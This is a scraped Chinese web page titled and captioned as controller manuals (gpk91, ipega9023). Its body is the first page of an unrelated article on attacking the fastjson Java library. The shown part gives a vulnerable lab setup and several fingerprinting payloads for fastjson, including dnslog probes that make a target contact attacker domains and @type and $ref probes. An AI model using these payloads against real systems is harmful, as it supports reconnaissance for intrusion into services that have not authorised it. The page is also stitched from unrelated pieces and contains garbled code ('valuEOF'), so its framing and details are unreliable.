gpk91手柄说明书,ipega9023手柄说明书

首页 > 数码 > 作者:YD1662024-04-21 20:12:12

零、写在前面的话0.1 前言

在我刚接触Java安全的时候,我写过一篇零基础入门级别的文章

现在距离这篇文章的写作时间已经过去整整半年,该写写他的提高篇了。基础篇发布后,很多师傅在朋友圈发表了留言,有不少师傅提出了宝贵而真挚的建议,也有师傅(@Y1ngSec、@lenihaoa)指出我文章的不足,我在此再次表示诚挚的感谢。后来我在准备写fastjson漏洞利用提高篇的时候发现,网上的一些payload总结要么是东一块西一块很零散,要么就是没有经过仔细的校对(一些payload的注释的利用范围明显是错的,另一些给出的payload本身就是错的),要么就是说明很简短,让新手看了一头雾水不知道具体出现什么情况才是正确的。为了方便自己平时查阅利用,也为了尽量修复以上的问题,我写下了这篇文章。不过需要注意的是,这篇文章是总结性质的,是从1到n的,并非从0到1,所有我参考过的文章我都会列在文章末尾以表示感谢。

如果你觉得代码复制的不方便,可以去我的github上面下载markdown文件:

https://github.com/W01fh4cker/LearnFastjsonVulnFromZero-Improvement

0.2 准备工作

我这里大部分直接使用safe6Sec师傅制作的复现环境(如果需要使用其他的靶场我会单独说明):

git clone https://github.com/safe6Sec/ShiroAndFastJson.git

我修改了IndexController.java文件中的parse函数,方便我查看解析结果或者解析报错内容:

@PostMapping("/json") @ResponseBody public JSONObject parse(@RequestBody String data) { JSONObject jsonObject = new JSONObject(); try { jsonObject.put("status", 0); jsonObject.put("message", String.valuEOF(JSON.parse(data))); } catch (Exception e) { jsonObject.put("status", -1); jsonObject.put("error", e.getMessage()); } return jsonObject; }

gpk91手柄说明书,ipega9023手柄说明书(1)

接下来,如果不做特别说明的话,我都是向json接口进行post请求payload。

一、判断所使用的Json库

需要注意的是,以下大部分都是在没有报错返回的情况下利用的方法,个别的我会做出说明。

1.1 Fastjson1.1.1 dnslog判断法

payload1:

{"@type":"java.net.InetSocketAddress"{"address":,"val":"rtpmognpiy.dgrh3.cn"}}

payload2:

{{"@type":"java.net.URL","val":"http://qvhkmkgcta.dgrh3.cn"}:"a"}

如果以上payload正常返回并受到dnslog请求,说明目标使用的是fastjson框架。

1.1.2 解析判断法

payload3:

{"ext":"blue","name":{"$ref":"$.ext"}}

如果解析成功,那么说明目标使用的是fastjson:

gpk91手柄说明书,ipega9023手柄说明书(2)

至于这个下面的这个payload4,需要根据具体环境参数来修改,不可直接使用:

{"a":new a(1),"b":x'11',/*\*\/"c":Set[{}{}],"d":"\u0000\x00"}

本意就是如果能对上面的参数的值自动解析,说明使用了fastjson组件:

gpk91手柄说明书,ipega9023手柄说明书(3)

payload5:

{"@type": "whatever"}

如果对方的代码写的是像我这样显示报错内容的话,可以通过这个来判断(出现autoType is not support. whatever说明使用了fastjson),但是一般不会,所以实战中基本上用不到:

gpk91手柄说明书,ipega9023手柄说明书(4)

首页 12345下一页

栏目热文

文档排行

本站推荐

Copyright © 2018 - 2021 www.yd166.com., All Rights Reserved.